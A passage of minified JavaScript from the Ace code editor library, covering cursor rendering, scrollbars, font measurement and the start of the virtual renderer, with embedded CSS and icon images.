n=t.length;n--;)t[n].style.opacity=e?\"\":\"0\"},this.$padding=0,this.setPadding=function(e){this.$padding=e},this.setSession=function(e){this.session=e},this.setBlinking=function(e){e!=this.isBlinking&&(this.isBlinking=e,this.restartTimer())},this.setBlinkInterval=function(e){e!=this.blinkInterval&&(this.blinkInterval=e,this.restartTimer())},this.setSmoothBlinking=function(e){e!=this.smoothBlinking&&!i&&(this.smoothBlinking=e,r.setCssClass(this.element,\"ace_smooth-blinking\",e),this.$updateCursors(!0),this.$updateCursors=this.$updateOpacity.bind(this),this.restartTimer())},this.addCursor=function(){var e=r.createElement(\"div\");return e.className=\"ace_cursor\",this.element.appendChild(e),this.cursors.push(e),e},this.removeCursor=function(){if(this.cursors.length>1){var e=this.cursors.pop();return e.parentNode.removeChild(e),e}},this.hideCursor=function(){this.isVisible=!1,r.addCssClass(this.element,\"ace_hidden-cursors\"),this.restartTimer()},this.showCursor=function(){this.isVisible=!0,r.removeCssClass(this.element,\"ace_hidden-cursors\"),this.restartTimer()},this.restartTimer=function(){var e=this.$updateCursors;clearInterval(this.intervalId),clearTimeout(this.timeoutId),this.smoothBlinking&&r.removeCssClass(this.element,\"ace_smooth-blinking\"),e(!0);if(!this.isBlinking||!this.blinkInterval||!this.isVisible)return;this.smoothBlinking&&setTimeout(function(){r.addCssClass(this.element,\"ace_smooth-blinking\")}.bind(this));var t=function(){this.timeoutId=setTimeout(function(){e(!1)},.6*this.blinkInterval)}.bind(this);this.intervalId=setInterval(function(){e(!0),t()},this.blinkInterval),t()},this.getPixelPosition=function(e,t){if(!this.config||!this.session)return{left:0,top:0};e||(e=this.session.selection.getCursor());var n=this.session.documentToScreenPosition(e),r=this.$padding+n.column*this.config.characterWidth,i=(n.row-(t?this.config.firstRowScreen:0))*this.config.lineHeight;return{left:r,top:i}},this.update=function(e){this.config=e;var t=this.session.$selectionMarkers,n=0,r=0;if(t===undefined||t.length===0)t=[{cursor:null}];for(var n=0,i=t.length;n<i;n++){var s=this.getPixelPosition(t[n].cursor,!0);if((s.top>e.height+e.offset||s.top<0)&&n>1)continue;var o=(this.cursors[r++]||this.addCursor()).style;this.drawCursor?this.drawCursor(o,s,e,t[n],this.session):(o.left=s.left+\"px\",o.top=s.top+\"px\",o.width=e.characterWidth+\"px\",o.height=e.lineHeight+\"px\")}while(this.cursors.length>r)this.removeCursor();var u=this.session.getOverwrite();this.$setOverwrite(u),this.$pixelPos=s,this.restartTimer()},this.drawCursor=null,this.$setOverwrite=function(e){e!=this.overwrite&&(this.overwrite=e,e?r.addCssClass(this.element,\"ace_overwrite-cursors\"):r.removeCssClass(this.element,\"ace_overwrite-cursors\"))},this.destroy=function(){clearInterval(this.intervalId),clearTimeout(this.timeoutId)}}).call(s.prototype),t.Cursor=s}),define(\"ace/scrollbar\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/dom\",\"ace/lib/event\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/dom\"),s=e(\"./lib/event\"),o=e(\"./lib/event_emitter\").EventEmitter,u=function(e){this.element=i.createElement(\"div\"),this.element.className=\"ace_scrollbar ace_scrollbar\"+this.classSuffix,this.inner=i.createElement(\"div\"),this.inner.className=\"ace_scrollbar-inner\",this.element.appendChild(this.inner),e.appendChild(this.element),this.setVisible(!1),this.skipEvent=!1,s.addListener(this.element,\"scroll\",this.onScroll.bind(this)),s.addListener(this.element,\"mousedown\",s.preventDefault)};(function(){r.implement(this,o),this.setVisible=function(e){this.element.style.display=e?\"\":\"none\",this.isVisible=e}}).call(u.prototype);var a=function(e,t){u.call(this,e),this.scrollTop=0,t.$scrollbarWidth=this.width=i.scrollbarWidth(e.ownerDocument),this.inner.style.width=this.element.style.width=(this.width||15)+5+\"px\"};r.inherits(a,u),function(){this.classSuffix=\"-v\",this.onScroll=function(){this.skipEvent||(this.scrollTop=this.element.scrollTop,this._emit(\"scroll\",{data:this.scrollTop})),this.skipEvent=!1},this.getWidth=function(){return this.isVisible?this.width:0},this.setHeight=function(e){this.element.style.height=e+\"px\"},this.setInnerHeight=function(e){this.inner.style.height=e+\"px\"},this.setScrollHeight=function(e){this.inner.style.height=e+\"px\"},this.setScrollTop=function(e){this.scrollTop!=e&&(this.skipEvent=!0,this.scrollTop=this.element.scrollTop=e)}}.call(a.prototype);var f=function(e,t){u.call(this,e),this.scrollLeft=0,this.height=t.$scrollbarWidth,this.inner.style.height=this.element.style.height=(this.height||15)+5+\"px\"};r.inherits(f,u),function(){this.classSuffix=\"-h\",this.onScroll=function(){this.skipEvent||(this.scrollLeft=this.element.scrollLeft,this._emit(\"scroll\",{data:this.scrollLeft})),this.skipEvent=!1},this.getHeight=function(){return this.isVisible?this.height:0},this.setWidth=function(e){this.element.style.width=e+\"px\"},this.setInnerWidth=function(e){this.inner.style.width=e+\"px\"},this.setScrollWidth=function(e){this.inner.style.width=e+\"px\"},this.setScrollLeft=function(e){this.scrollLeft!=e&&(this.skipEvent=!0,this.scrollLeft=this.element.scrollLeft=e)}}.call(f.prototype),t.ScrollBar=a,t.ScrollBarV=a,t.ScrollBarH=f,t.VScrollBar=a,t.HScrollBar=f}),define(\"ace/renderloop\",[\"require\",\"exports\",\"module\",\"ace/lib/event\"],function(e,t,n){\"use strict\";var r=e(\"./lib/event\"),i=function(e,t){this.onRender=e,this.pending=!1,this.changes=0,this.window=t||window};(function(){this.schedule=function(e){this.changes=this.changes|e;if(!this.pending&&this.changes){this.pending=!0;var t=this;r.nextFrame(function(){t.pending=!1;var e;while(e=t.changes)t.changes=0,t.onRender(e)},this.window)}}}).call(i.prototype),t.RenderLoop=i}),define(\"ace/layer/font_metrics\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/dom\",\"ace/lib/lang\",\"ace/lib/useragent\",\"ace/lib/event_emitter\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../lib/dom\"),s=e(\"../lib/lang\"),o=e(\"../lib/useragent\"),u=e(\"../lib/event_emitter\").EventEmitter,a=0,f=t.FontMetrics=function(e,t){this.el=i.createElement(\"div\"),this.$setMeasureNodeStyles(this.el.style,!0),this.$main=i.createElement(\"div\"),this.$setMeasureNodeStyles(this.$main.style),this.$measureNode=i.createElement(\"div\"),this.$setMeasureNodeStyles(this.$measureNode.style),this.el.appendChild(this.$main),this.el.appendChild(this.$measureNode),e.appendChild(this.el),a||this.$testFractionalRect(),this.$measureNode.innerHTML=s.stringRepeat(\"X\",a),this.$characterSize={width:0,height:0},this.checkForSizeChanges()};(function(){r.implement(this,u),this.$characterSize={width:0,height:0},this.$testFractionalRect=function(){var e=i.createElement(\"div\");this.$setMeasureNodeStyles(e.style),e.style.width=\"0.2px\",document.documentElement.appendChild(e);var t=e.getBoundingClientRect().width;t>0&&t<1?a=50:a=100,e.parentNode.removeChild(e)},this.$setMeasureNodeStyles=function(e,t){e.width=e.height=\"auto\",e.left=e.top=\"0px\",e.visibility=\"hidden\",e.position=\"absolute\",e.whiteSpace=\"pre\",o.isIE<8?e[\"font-family\"]=\"inherit\":e.font=\"inherit\",e.overflow=t?\"hidden\":\"visible\"},this.checkForSizeChanges=function(){var e=this.$measureSizes();if(e&&(this.$characterSize.width!==e.width||this.$characterSize.height!==e.height)){this.$measureNode.style.fontWeight=\"bold\";var t=this.$measureSizes();this.$measureNode.style.fontWeight=\"\",this.$characterSize=e,this.charSizes=Object.create(null),this.allowBoldFonts=t&&t.width===e.width&&t.height===e.height,this._emit(\"changeCharacterSize\",{data:e})}},this.$pollSizeChanges=function(){if(this.$pollSizeChangesTimer)return this.$pollSizeChangesTimer;var e=this;return this.$pollSizeChangesTimer=setInterval(function(){e.checkForSizeChanges()},500)},this.setPolling=function(e){e?this.$pollSizeChanges():this.$pollSizeChangesTimer&&(clearInterval(this.$pollSizeChangesTimer),this.$pollSizeChangesTimer=0)},this.$measureSizes=function(){if(a===50){var e=null;try{e=this.$measureNode.getBoundingClientRect()}catch(t){e={width:0,height:0}}var n={height:e.height,width:e.width/a}}else var n={height:this.$measureNode.clientHeight,width:this.$measureNode.clientWidth/a};return n.width===0||n.height===0?null:n},this.$measureCharWidth=function(e){this.$main.innerHTML=s.stringRepeat(e,a);var t=this.$main.getBoundingClientRect();return t.width/a},this.getCharacterWidth=function(e){var t=this.charSizes[e];return t===undefined&&(t=this.charSizes[e]=this.$measureCharWidth(e)/this.$characterSize.width),t},this.destroy=function(){clearInterval(this.$pollSizeChangesTimer),this.el&&this.el.parentNode&&this.el.parentNode.removeChild(this.el)}}).call(f.prototype)}),define(\"ace/virtual_renderer\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/dom\",\"ace/config\",\"ace/lib/useragent\",\"ace/layer/gutter\",\"ace/layer/marker\",\"ace/layer/text\",\"ace/layer/cursor\",\"ace/scrollbar\",\"ace/scrollbar\",\"ace/renderloop\",\"ace/layer/font_metrics\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/dom\"),s=e(\"./config\"),o=e(\"./lib/useragent\"),u=e(\"./layer/gutter\").Gutter,a=e(\"./layer/marker\").Marker,f=e(\"./layer/text\").Text,l=e(\"./layer/cursor\").Cursor,c=e(\"./scrollbar\").HScrollBar,h=e(\"./scrollbar\").VScrollBar,p=e(\"./renderloop\").RenderLoop,d=e(\"./layer/font_metrics\").FontMetrics,v=e(\"./lib/event_emitter\").EventEmitter,m='.ace_editor {position: relative;overflow: hidden;font: 12px/normal \\'Monaco\\', \\'Menlo\\', \\'Ubuntu Mono\\', \\'Consolas\\', \\'source-code-pro\\', monospace;direction: ltr;}.ace_scroller {position: absolute;overflow: hidden;top: 0;bottom: 0;background-color: inherit;-ms-user-select: none;-moz-user-select: none;-webkit-user-select: none;user-select: none;cursor: text;}.ace_content {position: absolute;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;min-width: 100%;}.ace_dragging .ace_scroller:before{position: absolute;top: 0;left: 0;right: 0;bottom: 0;content: \\'\\';background: rgba(250, 250, 250, 0.01);z-index: 1000;}.ace_dragging.ace_dark .ace_scroller:before{background: rgba(0, 0, 0, 0.01);}.ace_selecting, .ace_selecting * {cursor: text !important;}.ace_gutter {position: absolute;overflow : hidden;width: auto;top: 0;bottom: 0;left: 0;cursor: default;z-index: 4;-ms-user-select: none;-moz-user-select: none;-webkit-user-select: none;user-select: none;}.ace_gutter-active-line {position: absolute;left: 0;right: 0;}.ace_scroller.ace_scroll-left {box-shadow: 17px 0 16px -16px rgba(0, 0, 0, 0.4) inset;}.ace_gutter-cell {padding-left: 19px;padding-right: 6px;background-repeat: no-repeat;}.ace_gutter-cell.ace_error {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAABOFBMVEX/////////QRswFAb/Ui4wFAYwFAYwFAaWGAfDRymzOSH/PxswFAb/SiUwFAYwFAbUPRvjQiDllog5HhHdRybsTi3/Tyv9Tir+Syj/UC3////XurebMBIwFAb/RSHbPx/gUzfdwL3kzMivKBAwFAbbvbnhPx66NhowFAYwFAaZJg8wFAaxKBDZurf/RB6mMxb/SCMwFAYwFAbxQB3+RB4wFAb/Qhy4Oh+4QifbNRcwFAYwFAYwFAb/QRzdNhgwFAYwFAbav7v/Uy7oaE68MBK5LxLewr/r2NXewLswFAaxJw4wFAbkPRy2PyYwFAaxKhLm1tMwFAazPiQwFAaUGAb/QBrfOx3bvrv/VC/maE4wFAbRPBq6MRO8Qynew8Dp2tjfwb0wFAbx6eju5+by6uns4uH9/f36+vr/GkHjAAAAYnRSTlMAGt+64rnWu/bo8eAA4InH3+DwoN7j4eLi4xP99Nfg4+b+/u9B/eDs1MD1mO7+4PHg2MXa347g7vDizMLN4eG+Pv7i5evs/v79yu7S3/DV7/498Yv24eH+4ufQ3Ozu/v7+y13sRqwAAADLSURBVHjaZc/XDsFgGIBhtDrshlitmk2IrbHFqL2pvXf/+78DPokj7+Fz9qpU/9UXJIlhmPaTaQ6QPaz0mm+5gwkgovcV6GZzd5JtCQwgsxoHOvJO15kleRLAnMgHFIESUEPmawB9ngmelTtipwwfASilxOLyiV5UVUyVAfbG0cCPHig+GBkzAENHS0AstVF6bacZIOzgLmxsHbt2OecNgJC83JERmePUYq8ARGkJx6XtFsdddBQgZE2nPR6CICZhawjA4Fb/chv+399kfR+MMMDGOQAAAABJRU5ErkJggg==\");background-repeat: no-repeat;background-position: 2px center;}.ace_gutter-cell.ace_warning {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAmVBMVEX///8AAAD///8AAAAAAABPSzb/5sAAAAB/blH/73z/ulkAAAAAAAD85pkAAAAAAAACAgP/vGz/rkDerGbGrV7/pkQICAf////e0IsAAAD/oED/qTvhrnUAAAD/yHD/njcAAADuv2r/nz//oTj/p064oGf/zHAAAAA9Nir/tFIAAAD/tlTiuWf/tkIAAACynXEAAAAAAAAtIRW7zBpBAAAAM3RSTlMAABR1m7RXO8Ln31Z36zT+neXe5OzooRDfn+TZ4p3h2hTf4t3k3ucyrN1K5+Xaks52Sfs9CXgrAAAAjklEQVR42o3PbQ+CIBQFYEwboPhSYgoYunIqqLn6/z8uYdH8Vmdnu9vz4WwXgN/xTPRD2+sgOcZjsge/whXZgUaYYvT8QnuJaUrjrHUQreGczuEafQCO/SJTufTbroWsPgsllVhq3wJEk2jUSzX3CUEDJC84707djRc5MTAQxoLgupWRwW6UB5fS++NV8AbOZgnsC7BpEAAAAABJRU5ErkJggg==\");background-position: 2px center;}.ace_gutter-cell.ace_info {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAAAAAA6mKC9AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAAJ0Uk5TAAB2k804AAAAPklEQVQY02NgIB68QuO3tiLznjAwpKTgNyDbMegwisCHZUETUZV0ZqOquBpXj2rtnpSJT1AEnnRmL2OgGgAAIKkRQap2htgAAAAASUVORK5CYII=\");background-position: 2px center;}.ace_dark .ace_gutter-cell.ace_info {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAJFBMVEUAAAChoaGAgIAqKiq+vr6tra1ZWVmUlJSbm5s8PDxubm56enrdgzg3AAAAAXRSTlMAQObYZgAAAClJREFUeNpjYMAPdsMYHegyJZFQBlsUlMFVCWUYKkAZMxZAGdxlDMQBAG+TBP4B6RyJAAAAAElFTkSuQmCC\");}.ace_scrollbar {position: absolute;right: 0;bottom: 0;z-index: 6;}.ace_scrollbar-inner {position: absolute;cursor: text;left: 0;top: 0;}.ace_scrollbar-v{overflow-x: hidden;overflow-y: scroll;top: 0;}.ace_scrollbar-h {overflow-x: scroll;overflow-y: hidden;left: 0;}.ace_print-margin {position: absolute;height: 100%;}.ace_text-input {position: absolute;z-index: 0;width: 0.5em;height: 1em;opacity: 0;background: transparent;-moz-appearance: none;appearance: none;border: none;resize: none;outline: none;overflow: hidden;font: inherit;padding: 0 1px;margin: 0 -1px;text-indent: -1em;-ms-user-select: text;-moz-user-select: text;-webkit-user-select: text;user-select: text;white-space: pre!important;}.ace_text-input.ace_composition {background: inherit;color: inherit;z-index: 1000;opacity: 1;text-indent: 0;}.ace_layer {z-index: 1;position: absolute;overflow: hidden;word-wrap: normal;white-space: pre;height: 100%;width: 100%;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;pointer-events: none;}.ace_gutter-layer {position: relative;width: auto;text-align: right;pointer-events: auto;}.ace_text-layer {font: inherit !important;}.ace_cjk {display: inline-block;text-align: center;}.ace_cursor-layer {z-index: 4;}.ace_cursor {z-index: 4;position: absolute;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;border-left: 2px solid;transform: translatez(0);}.ace_slim-cursors .ace_cursor {border-left-width: 1px;}.ace_overwrite-cursors .ace_cursor {border-left-width: 0;border-bottom: 1px solid;}.ace_hidden-cursors .ace_cursor {opacity: 0.2;}.ace_smooth-blinking .ace_cursor {-webkit-transition: opacity 0.18s;transition: opacity 0.18s;}.ace_editor.ace_multiselect .ace_cursor {border-left-width: 1px;}.ace_marker-layer .ace_step, .ace_marker-layer .ace_stack {position: absolute;z-index: 3;}.ace_marker-layer .ace_selection {position: absolute;z-index: 5;}.ace_marker-layer .ace_bracket {position: absolute;z-index: 6;}.ace_marker-layer .ace_active-line {position: absolute;z-index: 2;}.ace_marker-layer .ace_selected-word {position: absolute;z-index: 4;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;}.ace_line .ace_fold {-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;display: inline-block;height: 11px;margin-top: -2px;vertical-align: middle;background-image:url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII=\"),url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACJJREFUeNpi+P//fxgTAwPDBxDxD078RSX+YeEyDFMCIMAAI3INmXiwf2YAAAAASUVORK5CYII=\");background-repeat: no-repeat, repeat-x;background-position: center center, top left;color: transparent;border: 1px solid black;border-radius: 2px;cursor: pointer;pointer-events: auto;}.ace_dark .ace_fold {}.ace_fold:hover{background-image:url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII=\"),url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACBJREFUeNpi+P//fz4TAwPDZxDxD5X4i5fLMEwJgAADAEPVDbjNw87ZAAAAAElFTkSuQmCC\");}.ace_tooltip {background-color: #FFF;background-image: -webkit-linear-gradient(top, transparent, rgba(0, 0, 0, 0.1));background-image: linear-gradient(to bottom, transparent, rgba(0, 0, 0, 0.1));border: 1px solid gray;border-radius: 1px;box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);color: black;max-width: 100%;padding: 3px 4px;position: fixed;z-index: 999999;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;cursor: default;white-space: pre;word-wrap: break-word;line-height: normal;font-style: normal;font-weight: normal;letter-spacing: normal;pointer-events: none;}.ace_folding-enabled > .ace_gutter-cell {padding-right: 13px;}.ace_fold-widget {-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;margin: 0 -12px 0 1px;display: none;width: 11px;vertical-align: top;background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42mWKsQ0AMAzC8ixLlrzQjzmBiEjp0A6WwBCSPgKAXoLkqSot7nN3yMwR7pZ32NzpKkVoDBUxKAAAAABJRU5ErkJggg==\");background-repeat: no-repeat;background-position: center;border-radius: 3px;border: 1px solid transparent;cursor: pointer;}.ace_folding-enabled .ace_fold-widget {display: inline-block;   }.ace_fold-widget.ace_end {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42m3HwQkAMAhD0YzsRchFKI7sAikeWkrxwScEB0nh5e7KTPWimZki4tYfVbX+MNl4pyZXejUO1QAAAABJRU5ErkJggg==\");}.ace_fold-widget.ace_closed {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAGCAYAAAAG5SQMAAAAOUlEQVR42jXKwQkAMAgDwKwqKD4EwQ26sSOkVWjgIIHAzPiCgaqiqnJHZnKICBERHN194O5b9vbLuAVRL+l0YWnZAAAAAElFTkSuQmCCXA==\");}.ace_fold-widget:hover {border: 1px solid rgba(0, 0, 0, 0.3);background-color: rgba(255, 255, 255, 0.2);box-shadow: 0 1px 1px rgba(255, 255, 255, 0.7);}.ace_fold-widget:active {border: 1px solid rgba(0, 0, 0, 0.4);background-color: rgba(0, 0, 0, 0.05);box-shadow: 0 1px 1px rgba(255, 255, 255, 0.8);}.ace_dark .ace_fold-widget {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHklEQVQIW2P4//8/AzoGEQ7oGCaLLAhWiSwB146BAQCSTPYocqT0AAAAAElFTkSuQmCC\");}.ace_dark .ace_fold-widget.ace_end {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAH0lEQVQIW2P4//8/AxQ7wNjIAjDMgC4AxjCVKBirIAAF0kz2rlhxpAAAAABJRU5ErkJggg==\");}.ace_dark .ace_fold-widget.ace_closed {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAFCAYAAACAcVaiAAAAHElEQVQIW2P4//+/AxAzgDADlOOAznHAKgPWAwARji8UIDTfQQAAAABJRU5ErkJggg==\");}.ace_dark .ace_fold-widget:hover {box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);background-color: rgba(255, 255, 255, 0.1);}.ace_dark .ace_fold-widget:active {box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);}.ace_fold-widget.ace_invalid {background-color: #FFB4B4;border-color: #DE5555;}.ace_fade-fold-widgets .ace_fold-widget {-webkit-transition: opacity 0.4s ease 0.05s;transition: opacity 0.4s ease 0.05s;opacity: 0;}.ace_fade-fold-widgets:hover .ace_fold-widget {-webkit-transition: opacity 0.05s ease 0.05s;transition: opacity 0.05s ease 0.05s;opacity:1;}.ace_underline {text-decoration: underline;}.ace_bold {font-weight: bold;}.ace_nobold .ace_bold {font-weight: normal;}.ace_italic {font-style: italic;}.ace_error-marker {background-color: rgba(255, 0, 0,0.2);position: absolute;z-index: 9;}.ace_highlight-marker {background-color: rgba(255, 255, 0,0.2);position: absolute;z-index: 8;}.ace_br1 {border-top-left-radius    : 3px;}.ace_br2 {border-top-right-radius   : 3px;}.ace_br3 {border-top-left-radius    : 3px; border-top-right-radius:    3px;}.ace_br4 {border-bottom-right-radius: 3px;}.ace_br5 {border-top-left-radius    : 3px; border-bottom-right-radius: 3px;}.ace_br6 {border-top-right-radius   : 3px; border-bottom-right-radius: 3px;}.ace_br7 {border-top-left-radius    : 3px; border-top-right-radius:    3px; border-bottom-right-radius: 3px;}.ace_br8 {border-bottom-left-radius : 3px;}.ace_br9 {border-top-left-radius    : 3px; border-bottom-left-radius:  3px;}.ace_br10{border-top-right-radius   : 3px; border-bottom-left-radius:  3px;}.ace_br11{border-top-left-radius    : 3px; border-top-right-radius:    3px; border-bottom-left-radius:  3px;}.ace_br12{border-bottom-right-radius: 3px; border-bottom-left-radius:  3px;}.ace_br13{border-top-left-radius    : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius:  3px;}.ace_br14{border-top-right-radius   : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius:  3px;}.ace_br15{border-top-left-radius    : 3px; border-top-right-radius:    3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}';i.importCssString(m,\"ace_editor.css\");var g=function(e,t){var n=this;this.container=e||i.createElement(\"div\"),this.$keepTextAreaAtCursor=!o.isOldIE,i.addCssClass(this.container,\"ace_editor\"),this.setTheme(t),this.$gutter=i.createElement(\"div\"),this.$gutter.className=\"ace_gutter\",this.container.appendChild(this.$gutter),this.scroller=i.createElement(\"div\"),this.scroller.className=\"ace_scroller\",this.container.appendChild(this.scroller),this.content=i.createElement(\"div\"),this.content.className=\"ace_content\",this.scroller.appendChild(this.content),this.$gutterLayer=new u(this.$gutter),this.$gutterLayer.on(\"changeGutterWidth\",this.onGutterResize.bind(this)),this.$markerBack=new a(this.content);var r=this.$textLayer=new f(this.content);this.canvas=r.element,this.$markerFront=new a(this.content),this.$cursorLayer=new l(this.content),this.$horizScroll=!1,this.$vScroll=!1,this.scrollBar=this.scrollBarV=new h(this.container,this),this.scrollBarH=new c(this.container,this),this.scrollBarV.addEventListener(\"scroll\",function(e){n.$scrollAnimation||n.session.setScrollTop(e.data-n.scrollMargin.top)}),this.scrollBarH.addEventListener(\"scroll\",function(e){n.$scrollAnimation||n.session.setScrollLeft(e.data-n.scrollMargin.left)}),this.scrollTop=0,this.scrollLeft=0,this.cursorPos={row:0,column:0},this.$fontMetrics=new d(this.container,500),this.$textLayer.$setFontMetrics(this.$fontMetrics),this.$textLayer.addEventListener(\"changeCharacterSize\",function(e){n.updateCharacterSize(),n.onResize(!0,n.gutterWidth,n.$size.width,n.$size.height),n._signal(\"changeCharacterSize\",e)}),this.$size={width:0,height:0,scrollerHeight:0,scrollerWidth:0,$dirty:!0},this.layerConfig={width:1,padding:0,firstRow:0,firstRowScreen:0,lastRow:0,lineHeight:0,characterWidth:0,minHeight:1,maxHeight:1,offset:0,height:1,gutterOffset:1},this.scrollMargin={left:0,right:0,top:0,bottom:0,v:0,h:0},this.$loop=new p(this.$renderChanges.bind(this),this.container.ownerDocument.defaultView),this.$loop.schedule(this.CHANGE_FULL),this.updateCharacterSize(),this.setPadding(4),s.resetOptions(this),s._emit(\"renderer\",this)};(function(){this.CHANGE_CURSOR=1,this.CHANGE_MARKER=2,this.CHANGE_GUTTER=4,this.CHANGE_SCROLL=8,this.CHANGE_LINES=16,this.CHANGE_TEXT=32,this.CHANGE_SIZE=64,this.CHANGE_MARKER_BACK=128,this.CHANGE_MARKER_FRONT=256,this.CHANGE_FULL=512,this.CHANGE_H_SCROLL=1024,r.implement(this,v),this.updateCharacterSize=function(){this.$textLayer.allowBoldFonts!=this.$allowBoldFonts&&(this.$allowBoldFonts=this.$textLayer.allowBoldFonts,this.setStyle(\"ace_nobold\",!this.$allowBoldFonts)),this.layerConfig.characterWidth=this.characterWidth=this.$textLayer.getCharacterWidth(),this.layerConfig.lineHeight=this.lineHeight=this.$textLayer.getLineHeight(),this.$updatePrintMargin()},this.setSession=function(e){this.session&&this.session.doc.off(\"changeNewLineMode\",this.onChangeNewLineMode),this.session=e,e&&this.scrollMargin.top&&e.getScrollTop()<=0&&e.setScrollTop(-this.scrollMargin.top),this.$cursorLayer.setSession(e),this.$markerBack.setSession(e),this.$markerFront.setSession(e),this.$gutterLayer.setSession(e),this.$textLayer.setSession(e);if(!e)return;this.$loop.schedule(this.CHANGE_FULL),this.session.$setFontMetrics(this.$fontMetrics),this.onChangeNewLineMode=this.onChangeNewLineMode.bind(this),this.onChangeNewLineMode(),this.session.doc.on(\"changeNewLineMode\",this.onChangeNewLineMode)},this.updateLines=function(e,t,n){t===undefined&&(t=Infinity),this.$changedLines?(this.$changedLines.firstRow>e&&(this.$changedLines.firstRow=e),this.$changedLines.lastRow<t&&(this.$changedLines.lastRow=t)):this.$changedLines={firstRow:e,lastRow:t};if(this.$changedLines.lastRow<this.layerConfig.firstRow){if(!n)return;this.$changedLines.lastRow=this.layerConfig.lastRow}if(this.$changedLines.firstRow>this.layerConfig.lastRow)return;this.$loop.schedule(this.CHANGE_LINES)},this.onChangeNewLineMode=function(){this.$loop.schedule(this.CHANGE_TEXT),this.$textLayer.$updateEolChar()},this.onChangeTabSize=function(){this.$loop.schedule(this.CHANGE_TEXT|this.CHANGE_MARKER),this.$textLayer.onChangeTabSize()},this.updateText=function(){this.$loop.schedule(this.CHANGE_TEXT)},this.updateFull=function(e){e?this.$renderChanges(this.CHANGE_FULL,!0):this.$loop.schedule(this.CHANGE_FULL)},this.updateFontSize=function(){this.$textLayer.checkForSizeChanges()},this.$changes=0,this.$updateSizeAsync=function(){this.$loop.pending?this.$size.$dirty=!0:this.onResize()},this.onResize=function(e,t,n,r){if(this.resizing>2)return;this.resizing>0?this.resizing++:this.resizing=e?1:0;var i=this.container;r||(r=i.clientHeight||i.scrollHeight),n||(n=i.clientWidth||i.scrollWidth);var s=this.$updateCachedSize(e,t,n,r);if(!this.$size.scrollerHeight||!n&&!r)return this.resizing=0;e&&(this.$gutterLayer.$padding=null),e?this.$renderChanges(s|this.$changes,!0):this.$loop.schedule(s|this.$changes),this.resizing&&(this.resizing=0),this.scrollBarV.scrollLeft=this.scrollBarV.scrollTop=null},this.$updateCachedSize=function(e,t,n,r){r-=this.$extraHeight||0;var 